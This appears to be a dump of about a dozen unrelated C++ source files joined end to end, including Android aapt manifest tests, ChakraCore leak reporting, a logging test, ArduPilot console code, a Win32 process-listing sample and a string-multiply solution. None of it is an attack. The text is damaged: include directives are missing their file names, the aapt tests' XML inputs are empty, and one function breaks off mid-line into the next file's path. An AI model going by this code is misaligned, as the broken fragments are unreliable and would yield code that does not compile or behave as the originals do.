Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "java/ManifestClassGenerator.h" #include "io/StringStream.h" #include "test/Test.h" using ::aapt::io::StringOutputStream; using ::testing::HasSubstr; using ::testing::Not; namespace aapt { static ::testing::AssertionResult GetManifestClassText(IAaptContext* context, xml::XmlResource* res, std::string* out_str); TEST(ManifestClassGeneratorTest, NameIsProperlyGeneratedFromSymbol) { std::unique_ptr context = test::ContextBuilder().Build(); std::unique_ptr manifest = test::BuildXmlDom(R"( )"); std::string actual; ASSERT_TRUE(GetManifestClassText(context.get(), manifest.get(), &actual)); ASSERT_THAT(actual, HasSubstr("public static final class permission {")); ASSERT_THAT(actual, HasSubstr("public static final class permission_group {")); const size_t permission_start_pos = actual.find("public static final class permission {"); const size_t permission_group_start_pos = actual.find("public static final class permission_group {"); // // Make sure these permissions are in the permission class. // const std::string permission_class = actual.substr(permission_start_pos, permission_group_start_pos - permission_start_pos); EXPECT_THAT( permission_class, HasSubstr( "public static final String ACCESS_INTERNET=\"android.permission.ACCESS_INTERNET\";")); EXPECT_THAT( permission_class, HasSubstr("public static final String DO_DANGEROUS_THINGS=\"android.DO_DANGEROUS_THINGS\";")); EXPECT_THAT(permission_class, HasSubstr("public static final String HUH=\"com.test.sample.permission.HUH\";")); // // Make sure these permissions are in the permission_group class // const std::string permission_group_class = actual.substr(permission_group_start_pos); EXPECT_THAT(permission_group_class, HasSubstr("public static final String PERMISSION=\"foo.bar.PERMISSION\";")); } TEST(ManifestClassGeneratorTest, CommentsAndAnnotationsArePresent) { std::unique_ptr context = test::ContextBuilder().Build(); std::unique_ptr manifest = test::BuildXmlDom(R"( )"); std::string actual; ASSERT_TRUE(GetManifestClassText(context.get(), manifest.get(), &actual)); const char* expected_access_internet = R"( /** * Required to access the internet. * Added in API 1. */ public static final String ACCESS_INTERNET="android.permission.ACCESS_INTERNET";)"; EXPECT_THAT(actual, HasSubstr(expected_access_internet)); const char* expected_play_outside = R"( /** * @deprecated This permission is for playing outside. */ @Deprecated public static final String PLAY_OUTSIDE="android.permission.PLAY_OUTSIDE";)"; EXPECT_THAT(actual, HasSubstr(expected_play_outside)); const char* expected_secret = R"( /** * This is a private permission for system only! * @hide */ @android.annotation.SystemApi public static final String SECRET="android.permission.SECRET";)"; EXPECT_THAT(actual, HasSubstr(expected_secret)); const char* expected_test = R"( /** * This is a test only permission. */ @android.annotation.TestApi public static final String TEST_ONLY="android.permission.TEST_ONLY";)"; EXPECT_THAT(actual, HasSubstr(expected_test)); } // This is bad but part of public API behaviour so we need to preserve it. TEST(ManifestClassGeneratorTest, LastSeenPermissionWithSameLeafNameTakesPrecedence) { std::unique_ptr context = test::ContextBuilder().Build(); std::unique_ptr manifest = test::BuildXmlDom(R"( --> )"); std::string actual; ASSERT_TRUE(GetManifestClassText(context.get(), manifest.get(), &actual)); EXPECT_THAT(actual, HasSubstr("ACCESS_INTERNET=\"com.android.aapt.test.ACCESS_INTERNET\";")); EXPECT_THAT(actual, Not(HasSubstr("ACCESS_INTERNET=\"android.permission.ACCESS_INTERNET\";"))); EXPECT_THAT(actual, Not(HasSubstr("ACCESS_INTERNET=\"com.android.sample.ACCESS_INTERNET\";"))); } TEST(ManifestClassGeneratorTest, NormalizePermissionNames) { std::unique_ptr context = test::ContextBuilder().Build(); std::unique_ptr manifest = test::BuildXmlDom(R"( )"); std::string actual; ASSERT_TRUE(GetManifestClassText(context.get(), manifest.get(), &actual)); EXPECT_THAT(actual, HasSubstr("access_internet=\"android.permission.access-internet\";")); } static ::testing::AssertionResult GetManifestClassText(IAaptContext* context, xml::XmlResource* res, std::string* out_str) { std::unique_ptr manifest_class = GenerateManifestClass(context->GetDiagnostics(), res); if (!manifest_class) { return ::testing::AssertionFailure() << "manifest_class == nullptr"; } StringOutputStream out(out_str); manifest_class->WriteJavaFile(manifest_class.get(), "android", true, &out); out.Flush(); return ::testing::AssertionSuccess(); } } // namespace aapt makepad/ChakraCore/lib/Common/Memory/LeakReport.cpp1-10 //------------------------------------------------------------------------------------------------------- // Copyright (C) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE.txt file in the project root for full license information. //------------------------------------------------------------------------------------------------------- #include "CommonMemoryPch.h" #ifdef LEAK_REPORT // Initialization order // AB AutoSystemInfo // AD PerfCounter // AE PerfCounterSet // AM Output/Configuration // AN MemProtectHeap // AP DbgHelpSymbolManager // AQ CFGLogger // AR LeakReport // AS JavascriptDispatch/RecyclerObjectDumper // AT HeapAllocator/RecyclerHeuristic // AU RecyclerWriteBarrierManager #pragma warning(disable:4075) // initializers put in unrecognized initialization area on purpose #pragma init_seg(".CRT$XCAR") CriticalSection LeakReport::s_cs; DWORD LeakReport::nestedSectionCount = 0; DWORD LeakReport::nestedRedirectOutputCount = 0; AutoFILE LeakReport::file; FILE * oldFile = nullptr; bool LeakReport::openReportFileFailed = false; LeakReport::UrlRecord * LeakReport::urlRecordHead = nullptr; LeakReport::UrlRecord * LeakReport::urlRecordTail = nullptr; void LeakReport::StartRedirectOutput() { if (!EnsureLeakReportFile()) { return; } s_cs.Enter(); if (nestedRedirectOutputCount == 0) { Assert(oldFile == nullptr); oldFile = Output::SetFile(file); } nestedRedirectOutputCount++; } void LeakReport::EndRedirectOutput() { if (nestedRedirectOutputCount == 0) { return; } Assert(file != nullptr); nestedRedirectOutputCount--; if (nestedRedirectOutputCount == 0) { fflush(file); FILE * tmpFile = Output::SetFile(oldFile); Assert(tmpFile == file); oldFile = nullptr; } s_cs.Leave(); } void LeakReport::StartSection(char16 const * msg, ...) { va_list argptr; va_start(argptr, msg); StartSection(msg, argptr); va_end(argptr); } void LeakReport::StartSection(char16 const * msg, va_list argptr) { s_cs.Enter(); if (!EnsureLeakReportFile()) { return; } nestedSectionCount++; Print(_u("--------------------------------------------------------------------------------\n")); vfwprintf(file, msg, argptr); Print(_u("\n")); Print(_u("--------------------------------------------------------------------------------\n")); } void LeakReport::EndSection() { s_cs.Leave(); if (file == nullptr) { return; } nestedSectionCount--; } void LeakReport::Print(char16 const * msg, ...) { AutoCriticalSection autocs(&s_cs); if (!EnsureLeakReportFile()) { return; } va_list argptr; va_start(argptr, msg); vfwprintf(file, msg, argptr); va_end(argptr); } bool LeakReport::EnsureLeakReportFile() { AutoCriticalSection autocs(&s_cs); if (openReportFileFailed) { return false; } if (file != nullptr) { return true; } char16 const * filename = Js::Configuration::Global.flags.LeakReport; char16 const * openMode = _u("w+"); char16 defaultFilename[_MAX_PATH]; if (filename == nullptr) { // xplat-todo: Implement swprintf_s in the PAL #ifdef _MSC_VER swprintf_s(defaultFilename, _u("jsleakreport-%u.txt"), ::GetCurrentProcessId()); #else _snwprintf(defaultFilename, _countof(defaultFilename), _u("jsleakreport-%u.txt"), ::GetCurrentProcessId()); #endif filename = defaultFilename; openMode = _u("a+"); // append mode } if (_wfopen_s(&file, filename, openMode) != 0) { openReportFileFailed = true; return false; } Print(_u("================================================================================\n")); Print(_u("Chakra Leak Report - PID: %d\n"), ::GetCurrentProcessId()); return true; } LeakReport::UrlRecord * LeakReport::LogUrl(char16 const * url, void * globalObject) { UrlRecord * record = NoCheckHeapNewStruct(UrlRecord); size_t length = wcslen(url) + 1; // Add 1 for the NULL. char16* urlCopy = NoCheckHeapNewArray(char16, length); js_memcpy_s(urlCopy, (length - 1) * sizeof(char16), url, (length - 1) * sizeof(char16)); urlCopy[length - 1] = _u('\0'); record->url = urlCopy; #if _MSC_VER record->time = _time64(NULL); #else record->time = time(NULL); #endif record->tid = ::GetCurrentThreadId(); record->next = nullptr; record->scriptEngine = nullptr; record->globalObject = globalObject; AutoCriticalSection autocs(&s_cs); if (LeakReport::urlRecordHead == nullptr) { Assert(LeakReport::urlRecordTail == nullptr); LeakReport::urlRecordHead = record; LeakReport::urlRecordTail = record; } else { LeakReport::urlRecordTail->next = record; LeakReport::urlRecordTail = record; } return record; } void LeakReport::DumpUrl(DWORD tid) { AutoCriticalSection autocs(&s_cs); if (!EnsureLeakReportFile()) { return; } UrlRecord * prev = nullptr; UrlRecord ** pprev = &LeakReport::urlRecordHead; UrlRecord * curr = *pprev; while (curr != nullptr) { if (curr->tid == tid) { char16 timeStr[26] = _u("00:00"); // xplat-todo: Need to implement _wasctime_s in the PAL #if _MSC_VER struct tm local_time; _localtime64_s(&local_time, &curr->time); _wasctime_s(timeStr, &local_time); #endif timeStr[wcslen(timeStr) - 1] = 0; Print(_u("%s - (%p, %p) %s\n"), timeStr, curr->scriptEngine, curr->globalObject, curr->url); *pprev = curr->next; NoCheckHeapDeleteArray(wcslen(curr->url) + 1, curr->url); NoCheckHeapDelete(curr); } else { pprev = &curr->next; prev = curr; } curr = *pprev; } if (prev == nullptr) { LeakReport::urlRecordTail = nullptr; } else if (prev->next == nullptr) { LeakReport::urlRecordTail = prev; } } AutoLeakReportSection::AutoLeakReportSection(Js::ConfigFlagsTable& flags, char16 const * msg, ...): m_flags(flags) { if (flags.IsEnabled(Js::LeakReportFlag)) { va_list argptr; va_start(argptr, msg); LeakReport::StartSection(msg, argptr); va_end(argptr); } } AutoLeakReportSection::~AutoLeakReportSection() { if (m_flags.IsEnabled(Js::LeakReportFlag)) { LeakReport::EndSection(); } } #endif /* * Copyright 2020 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "ecclesia/lib/logging/logging.h" #include #include #include #include #include #include "gmock/gmock.h" #include "gtest/gtest.h" #include "absl/memory/memory.h" #include "absl/strings/str_cat.h" #include "absl/strings/string_view.h" #include "absl/time/time.h" #include "absl/types/optional.h" #include "ecclesia/lib/logging/globals.h" #include "ecclesia/lib/logging/interfaces.h" #include "ecclesia/lib/time/clock_fake.h" namespace ecclesia { namespace { using ::testing::ElementsAre; using ::testing::IsEmpty; // A logging interface implementation that captures all of the logs it is sent // into vectors of (metadata, text) pairs. The test stores the metadata and log // text separately so that most tests don't have to check the metadata which is // much more brittle, because it depends on the time and source location. class TestRecordingLogger : public LoggerInterface { public: struct Message { std::string prefix; std::string text; }; TestRecordingLogger() : clock_(absl::UnixEpoch()), messages_by_level_({&fatals_, &errors_}) {} // The recorded messages relies on this being a unique object so do not allow // these loggers to be copied. TestRecordingLogger(const TestRecordingLogger &other) = delete; TestRecordingLogger &operator=(const TestRecordingLogger &other) = delete; // The fake clock used by the logger. Tests can manipulate this to control the // logging times. FakeClock &GetClock() { return clock_; } // Export all of the logged messages at various levels. const std::vector &GetFatalMessages() const { return fatals_; } const std::vector &GetErrorMessages() const { return errors_; } private: void Write(WriteParameters params) override { if (params.log_level < messages_by_level_.size()) { messages_by_level_[params.log_level]->push_back( {.prefix = MakeMetadataPrefix(params.log_level, clock_.Now(), params.source_location), .text = std::string(params.text)}); } else { FAIL() << "TestRecordingLogger received unexpected log level " << params.log_level << " message: " << params.text; } } FakeClock clock_; // The messages vectors, at various levels. std::vector fatals_; std::vector errors_; // All the messages vectors, indexed by log level. std::vector *> messages_by_level_; }; // A matcher for matching against TestRecordingLogger::Message values. It can // match against both the prefix+text (see IsLogMessage) and against just the // text (see IsLogMessageWithText). class TestRecordingMessageMatcher : public ::testing::MatcherInterface { public: explicit TestRecordingMessageMatcher(absl::string_view text) : text_(text) {} TestRecordingMessageMatcher(absl::string_view prefix, absl::string_view text) : prefix_(prefix), text_(text) {} bool MatchAndExplain(const TestRecordingLogger::Message &value, ::testing::MatchResultListener *listener) const final { bool matches = true; if (prefix_ && value.prefix != *prefix_) { *listener << "\nprefix=" << value.prefix << ", expected=" << *prefix_; matches = false; } if (value.text != text_) { *listener << "\ntext=" << value.text << ", expected=" << text_; matches = false; } return matches; } void DescribeTo(::std::ostream *os) const override { *os << "has "; if (prefix_) { *os << "prefix=" << *prefix_ << ", "; } *os << "text=" << text_; } void DescribeNegationTo(::std::ostream *os) const override { *os << "does not have "; if (prefix_) { *os << "prefix=" << *prefix_ << ", "; *os << "text=" << text_; } } private: absl::optional prefix_; absl::string_view text_; }; ::testing::Matcher IsLogMessage( absl::string_view prefix, absl::string_view text) { return ::testing::MakeMatcher(new TestRecordingMessageMatcher(prefix, text)); } ::testing::Matcher IsLogMessageWithText( absl::string_view text) { return ::testing::MakeMatcher(new TestRecordingMessageMatcher(text)); } // Create and register a test logger and then return a pointer to it for tests // to use in actually verifying the logging behavior. TestRecordingLogger *RegisterTestLogging() { auto owned_logger = absl::make_unique(); auto *logger = owned_logger.get(); SetGlobalLogger(std::move(owned_logger)); return logger; } TEST(LoggingTest, LogMetadata) { TestRecordingLogger *logger = RegisterTestLogging(); // Note that if you rearrange the lines of code below, you'll have to update // the line number computations in the following EXPECT_THAT. This even // includes formatting-only changes: the line numbers where the ErrorLog() // appears are what matters. int base_line = __LINE__; // Count lines from here to ErrorLog() calls. ErrorLog() << "m1"; logger->GetClock().AdvanceTime(absl::Hours(3) + absl::Minutes(14) + absl::Seconds(15) + absl::Microseconds(926536)); ErrorLog() << "m2"; logger->GetClock().AdvanceTime(absl::Hours(1) + absl::Microseconds(25)); ErrorLog() << "m3"; // End of the code where we're sensitive to the line numbers. Compute the // line numbers of the three log lines. int m1_line = base_line + 1; int m2_line = base_line + 5; int m3_line = base_line + 7; // Expected metadata strings. std::string m1_meta = absl::StrCat( "L1 1970-01-01 00:00:00.000000 logging_test.cc:", m1_line, "] "); std::string m2_meta = absl::StrCat( "L1 1970-01-01 03:14:15.926536 logging_test.cc:", m2_line, "] "); std::string m3_meta = absl::StrCat( "L1 1970-01-01 04:14:15.926561 logging_test.cc:", m3_line, "] "); // Run the actual validation. EXPECT_THAT( logger->GetErrorMessages(), ElementsAre(IsLogMessage(m1_meta, "m1"), IsLogMessage(m2_meta, "m2"), IsLogMessage(m3_meta, "m3"))); } TEST(LoggingDeathTest, LogFatal) { EXPECT_DEATH(FatalLog() << "terminate program", "terminate program"); } TEST(LoggingTest, LogErrors) { TestRecordingLogger *logger = RegisterTestLogging(); ErrorLog() << "first message"; ErrorLog() << "second message = " << 2; ErrorLog() << "third" << " " << "message"; EXPECT_THAT(logger->GetFatalMessages(), IsEmpty()); EXPECT_THAT(logger->GetErrorMessages(), ElementsAre(IsLogMessageWithText("first message"), IsLogMessageWithText("second message = 2"), IsLogMessageWithText("third message"))); } TEST(LoggingDeathTest, CheckTerminates) { Check(true, "true is true"); EXPECT_DEATH(Check(false, "false is false"), "Check failed \\(false is false\\)"); } TEST(LoggingDeathTest, CheckConditionTerminates) { CheckCondition(1 == 1); EXPECT_DEATH(CheckCondition(0 == 1), "Check failed \\(0 == 1\\)"); } TEST(LoggingTest, DieIfNullDoesNotDieOnNotNull) { std::unique_ptr heap_int = DieIfNull(absl::make_unique(278)); int *raw_heap_int = DieIfNull(heap_int.get()); EXPECT_EQ(heap_int.get(), raw_heap_int); } TEST(LoggingDeathTest, DieIfNullDiesOnNull) { auto make_nullptr = []() -> int * { return nullptr; }; EXPECT_DEATH(DieIfNull(make_nullptr()), "pointer is null"); } } // namespace } // namespace ecclesia Cpp/function_ptr.cpp #include #include using std::cout, std::endl; typedef int (*fn_t) (const int); void caller(fn_t fn, int i) { int j = fn(i); cout << "fn(" << i << ") = " << j << endl; } template using m_fn = int (T::*) (const int); template void m_caller(m_fn fn, T* t, int i) { int j = (t->*fn)(i); cout << "m_fn(" << i << ") = " << j << endl; } int foo(const int m) { cout << "foo called with m = " << m << endl; return m + 2; } struct A { int bar(const int m) { cout << "A::bar called with m = " << m << endl; return m - 1; } }; int main() { fn_t foo_ptr = foo; caller(foo_ptr, 2); caller(foo, 3); A a; m_caller(&A::bar, &a, 4); return 0; } AST/ASTBoolLiteralExpressionNode.cpp #include "ASTBoolLiteralExpressionNode.h" ASTBoolLiteralExpressionNode::ASTBoolLiteralExpressionNode(bool val){ value = val; } void ASTBoolLiteralExpressionNode::accept(Visitor* v){ v->visit(this); }ardupilot/libraries/AP_HAL_Linux/ConsoleDevice.cpp #include #if CONFIG_HAL_BOARD == HAL_BOARD_LINUX #include "ConsoleDevice.h" #include #include #include #include ConsoleDevice::ConsoleDevice() { } ConsoleDevice::~ConsoleDevice() { } bool ConsoleDevice::close() { _closed = true; return true; } bool ConsoleDevice::open() { _rd_fd = STDIN_FILENO; _wr_fd = STDOUT_FILENO; _closed = false; return true; } ssize_t ConsoleDevice::read(uint8_t *buf, uint16_t n) { if (_closed) { return -EAGAIN; } return ::read(_rd_fd, buf, n); } ssize_t ConsoleDevice::write(const uint8_t *buf, uint16_t n) { if (_closed) { return -EAGAIN; } return ::write(_wr_fd, buf, n); } void ConsoleDevice::set_blocking(bool blocking) { int rd_flags; int wr_flags; rd_flags = fcntl(_rd_fd, F_GETFL, 0); wr_flags = fcntl(_wr_fd, F_GETFL, 0); if (blocking) { rd_flags = rd_flags & ~O_NONBLOCK; wr_flags = wr_flags & ~O_NONBLOCK; } else { rd_flags = rd_flags | O_NONBLOCK; wr_flags = wr_flags | O_NONBLOCK; } if (fcntl(_rd_fd, F_SETFL, rd_flags) < 0) { ::fprintf(stderr, "Failed to set Console nonblocking %s\n", strerror(errno)); } if (fcntl(_wr_fd, F_SETFL, wr_flags) < 0) { ::fprintf(stderr, "Failed to set Console nonblocking %s\n",strerror(errno)); } } void ConsoleDevice::set_speed(uint32_t baudrate) { } #endif Multiply Strings.cpp class Solution { public: string multiply(string num1, string num2) { if (num1 == "0" || num2 == "0") return "0"; int n = max(num1.size(), num2.size()); n = n * 2; string a = num1; string b = num2; string ans; vector sum(n, 0); int digit = 0; int pos = 0; int carry = 0; for (int i = b.size() - 1; i >= 0; i--) { pos = digit; for (int j = a.size() - 1; j >= 0; j--) { int val1 = b[i] - 48; int val2 = a[j] - 48; int prod = val1 * val2; // cout<Source/dismount/assembler/StackInterface.cpp1-10 #include "dismount/dismount.h" /* * StackInterface.cpp * * Implementation file * * Author: <> */ #include "xStl/types.h" #include "xStl/utils/algorithm.h" #include "dismount/assembler/StackInterface.h" #include "dismount/assembler/FirstPassBinary.h" StackInterface::StackInterface(FirstPassBinary& firstPass, bool shouldAlignStack, uint stackAlignmentSize) : m_totalTempStack(0), m_stackAlignmentSize(stackAlignmentSize), m_shouldAlignStack(shouldAlignStack), m_firstPass(firstPass), m_baseRegister(StackInterface::EMPTY), m_allocatedTemporaryStack((uint)0, 0x200) // Don't forget to add new entries to the copy-constructor as well! { } StackInterface::StackInterface(const StackInterface& other) : m_totalTempStack(other.m_totalTempStack), m_stackAlignmentSize(other.m_stackAlignmentSize), m_shouldAlignStack(other.m_shouldAlignStack), m_firstPass(other.m_firstPass), m_baseRegister(other.m_baseRegister), m_allocatedTemporaryStack(other.m_allocatedTemporaryStack) { } StackInterface::~StackInterface() { } uint StackInterface::getTotalTemporaryStackSize() { return m_totalTempStack; } StackLocation StackInterface::buildStackLocation(int _reg, int _flag) { StackLocation ret; ret.u.reg = _reg; ret.u.flags = _flag; return ret; } StackLocation StackInterface::NO_MEMORY = StackInterface::buildStackLocation(0, STACK_LOCATION_NO_MEMORY); StackLocation StackInterface::EMPTY = StackInterface::buildStackLocation(0, STACK_LOCATION_EMPTY); StackLocation StackInterface::allocateTemporaryRegister(bool bOnlyNonVolatile) { // Find the first free register cList keys(getRegistersTable().keys()); cList::iterator i(keys.begin()); for (; i != keys.end(); ++i) { if (bOnlyNonVolatile && (getRegistersTable()[(*i)].m_eType != NonVolatile)) continue; m_firstPass.touch(*i); if (!getRegistersTable()[(*i)].m_bAllocated) { // Check the pool for negative value ASSERT((*i) < 0); getRegistersTable()[(*i)].m_bAllocated = true; StackLocation ret; ret.raw = 0; ret.u.reg = (*i); return ret; } } // Cannot allocate any register return NO_MEMORY; } StackLocation StackInterface::allocateTemporaryStackBuffer(uint size) { StackLocation ret; ret.raw = 0; ret.u.flags = STACK_LOCATION_FLAGS_LOCAL; // TODO! Improve the algorithm if (m_shouldAlignStack) { size = (size + m_stackAlignmentSize - 1) / m_stackAlignmentSize; size = size * m_stackAlignmentSize; } // Try to find an empty space at the stack uint jump = m_shouldAlignStack ? m_stackAlignmentSize : 1; for (int i = 0; i < ((int)m_allocatedTemporaryStack.getSize()) - (int)size; i+= jump) { bool found = true; for (uint j = i; j < i + size; j++) { if (m_allocatedTemporaryStack[j] != 0) { found = false; break; } } if (found) { // Allocate this stack position for (uint j = i; j < i + size; j++) { ASSERT(m_allocatedTemporaryStack[j] == 0); m_allocatedTemporaryStack[j] = size; } ret.u.reg = i + LOCAL_STACK_START_VALUE; return ret; } } // Need to increase the size of the stack uint pos = m_allocatedTemporaryStack.getSize(); // TODO! There something missing here (SVN?) m_allocatedTemporaryStack.changeSize( m_allocatedTemporaryStack.getSize() + size); m_totalTempStack = t_max(m_totalTempStack, m_allocatedTemporaryStack.getSize()); for (uint j = pos; j < pos + size; j++) m_allocatedTemporaryStack[j] = size; ret.u.reg = pos + LOCAL_STACK_START_VALUE; return ret; } bool StackInterface::isFreeTemporaryRegister( StackLocation registerNumber) const { ASSERT(registerNumber.u.reg < 0); return !getRegistersTable()[registerNumber.u.reg].m_bAllocated; } void StackInterface::freeTemporaryRegister(StackLocation registerNumber) { ASSERT(registerNumber.u.reg < 0); // Free register CHECK(getRegistersTable().hasKey(registerNumber.u.reg)); // Trying to double-free? ASSERT(getRegistersTable()[registerNumber.u.reg].m_bAllocated); getRegistersTable()[registerNumber.u.reg].m_bAllocated = false; } void StackInterface::freeTemporaryStackBuffer(StackLocation stackPosition) { ASSERT((stackPosition.u.flags & STACK_LOCATION_FLAGS_LOCAL) != 0); uint position = stackPosition.u.reg - LOCAL_STACK_START_VALUE; // CHECK(position < m_allocatedTemporaryStack.getSize()); // This check is committed by the [] operator uint size = m_allocatedTemporaryStack[position]; CHECK((position + size) <= m_allocatedTemporaryStack.getSize()); for (uint j = position; j < position + size; j++) { CHECK(m_allocatedTemporaryStack[j] == size); m_allocatedTemporaryStack[j] = 0; } } void StackInterface::UpdateTotalTempStack(unsigned int nTotalTempStack) { if (m_totalTempStack < nTotalTempStack) m_totalTempStack = nTotalTempStack; } StackLocation StackInterface::setBaseStackRegister(StackLocation baseRegister) { StackLocation old = m_baseRegister; m_baseRegister = baseRegister; return old; } StackLocation StackInterface::getBaseStackRegister() const { return m_baseRegister; } RegisterEntry::RegisterEntry(RegisterType eType, bool bAllocated, int iFastCallOrder) : m_bAllocated(bAllocated), m_eType(eType), m_iFastCallOrder(iFastCallOrder) { } /************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ #ifndef _INSTABLE_HXX #define _INSTABLE_HXX #ifndef _BUTTON_HXX //autogen #include #endif #ifndef _FIELD_HXX //autogen #include #endif #ifndef _FIXED_HXX //autogen #include #endif #ifndef _EDIT_HXX //autogen #include #endif #include #include #include class SwWrtShell; class SwTableAutoFmt; class SwView; struct SwInsertTableOptions; class SwInsTableDlg : public SfxModalDialog { FixedText aNameFT; TableNameEdit aNameEdit; FixedLine aFL; FixedText aColLbl; NumericField aColEdit; FixedText aRowLbl; NumericField aRowEdit; FixedLine aOptionsFL; CheckBox aHeaderCB; CheckBox aRepeatHeaderCB; FixedText aRepeatHeaderFT; // "dummy" to build before and after FT FixedText aRepeatHeaderBeforeFT; NumericField aRepeatHeaderNF; FixedText aRepeatHeaderAfterFT; TextControlCombo aRepeatHeaderCombo; CheckBox aDontSplitCB; CheckBox aBorderCB; OKButton aOkBtn; CancelButton aCancelBtn; HelpButton aHelpBtn; PushButton aAutoFmtBtn; SwWrtShell* pShell; SwTableAutoFmt* pTAutoFmt; sal_Int64 nEnteredValRepeatHeaderNF; DECL_LINK( ModifyName, Edit * ); DECL_LINK( ModifyRowCol, NumericField * ); DECL_LINK( AutoFmtHdl, PushButton* ); DECL_LINK( CheckBoxHdl, CheckBox *pCB = 0 ); DECL_LINK( ReapeatHeaderCheckBoxHdl, void* p = 0 ); DECL_LINK( ModifyRepeatHeaderNF_Hdl, void* p = 0 ); public: SwInsTableDlg( SwView& rView ); ~SwInsTableDlg(); void GetValues( String& rName, sal_uInt16& rRow, sal_uInt16& rCol, SwInsertTableOptions& rInsTblOpts, String& rTableAutoFmtName, SwTableAutoFmt *& prTAFmt ); }; #endif JasonThomasData/neural_net_cpp #include #include #include #include "../../lib/json.hpp" #include "../data_converter/data_converter.h" #include "../json_io/json_io.h" int main(int argc, char** argv) { if(argc == 3) { std::string in_path = std::string(argv[1]); std::string out_path = std::string(argv[2]); std::ifstream original_data = DataConverter::read_file(in_path); nlohmann::json out_data = DataConverter::convert_to_json(original_data); JsonIO::save_json_data(out_path, out_data); } else { std::cout<< "Parse two file locations to convert, like ./convert_data path/to/in path/to/out"<< std::endl; std::exit(1); } } Phoebus-Ma/Win32-Helper /** * Win32 Process snapshot sample code. * ref: [https://docs.microsoft.com/en-us/windows/win32/toolhelp/taking-a-snapshot-and-viewing-processes]. * * License - MIT. */ #include #include #include #define FIND_PROCESS_NAME L"SystemSettings.exe" /** * ListProcessModules - Get process module. */ int ListProcessModules(DWORD dwProcessId) { HANDLE hModuleSnap = INVALID_HANDLE_VALUE; MODULEENTRY32 moduleEntry = { 0 }; moduleEntry.dwSize = sizeof(MODULEENTRY32); /* Get snapshot. */ hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId); if (INVALID_HANDLE_VALUE == hModuleSnap) { printf("Error in CreateToolhelp32Snapshot"); goto err_modsnap; } if (!Module32First(hModuleSnap, &moduleEntry)) { printf("Error in Module32First.\n"); goto err_modfirst; } do { printf("Module name:\t %ws.\n", moduleEntry.szModule); printf("Ref count:\t %d.\n", moduleEntry.GlblcntUsage); } while (Module32Next(hModuleSnap, &moduleEntry)); CloseHandle(hModuleSnap); return 0; err_modfirst: CloseHandle(hModuleSnap); err_modsnap: return -1; } /** * ListProcessThread - Get process thread list. */ int ListProcessThread(DWORD dwProcessId) { HANDLE hThreadSnap = INVALID_HANDLE_VALUE; THREADENTRY32 threadEntry = { 0 }; threadEntry.dwSize = sizeof(THREADENTRY32); /* Get snapshot. */ hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (INVALID_HANDLE_VALUE == hThreadSnap) { printf("Error in CreateToolhelp32Snapshot.\n"); goto err_thrdsnap; } if (!Thread32First(hThreadSnap, &threadEntry)) { printf("Error in Thread32First.\n"); goto err_thrdfirst; } do { if (dwProcessId == threadEntry.th32OwnerProcessID) { printf("---------------------------------------------\n"); printf("Thread id:\t %d.\n", threadEntry.th32ThreadID); printf("Thread priority:\t %d.\n", threadEntry.tpBasePri); } } while (Thread32Next(hThreadSnap, &threadEntry)); CloseHandle(hThreadSnap); return 0; err_thrdfirst: CloseHandle(hThreadSnap); err_thrdsnap: return -1; } /** * GetProcessInfo - Get specified process information. */ int GetProcessInfo() { HANDLE hProcess = NULL; HANDLE hProcessSnap = INVALID_HANDLE_VALUE; DWORD dwPriorityClass = 0; PROCESSENTRY32 processEntry = { 0 }; processEntry.dwSize = sizeof(PROCESSENTRY32); /* Get snapshot. */ hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hProcessSnap) { printf("Error in CreateToolhelp32Snapshot.\n"); goto err_snap; } /* Retrieve information about the first process. */ if (!Process32First(hProcessSnap, &processEntry)) { printf("Error in Process32First.\n"); goto err_first; } /* Walk the snapshot of processes. */ do { if (!wcscmp(FIND_PROCESS_NAME, processEntry.szExeFile)) { printf("---------------------------------------------\n"); printf("Process name:\t %ws.\n", processEntry.szExeFile); printf("Process id:\t %d.\n", processEntry.th32ProcessID); printf("Process thread count:\t %d.\n", processEntry.cntThreads); hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID); if (NULL == hProcess) { printf("Error in OpenProcess.\n"); } else { dwPriorityClass = GetPriorityClass(hProcess); if (dwPriorityClass) printf("%ws priority: %d.\n", FIND_PROCESS_NAME, dwPriorityClass); CloseHandle(hProcess); } ListProcessThread(processEntry.th32ProcessID); ListProcessModules(processEntry.th32ProcessID); break; } } while (Process32Next(hProcessSnap, &processEntry)); CloseHandle(hProcessSnap); return 0; err_first: CloseHandle(hProcessSnap); err_snap: return -1; } /** * Main function. */ int main(void) { GetProcessInfo(); return 0; } /* * Copyright (c) 2021 Huawei Device Co., Ltd. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include #include #include #include #include #include #include "hdf_uhdf_test.h" #include "hdf_io_service_if.h" #include 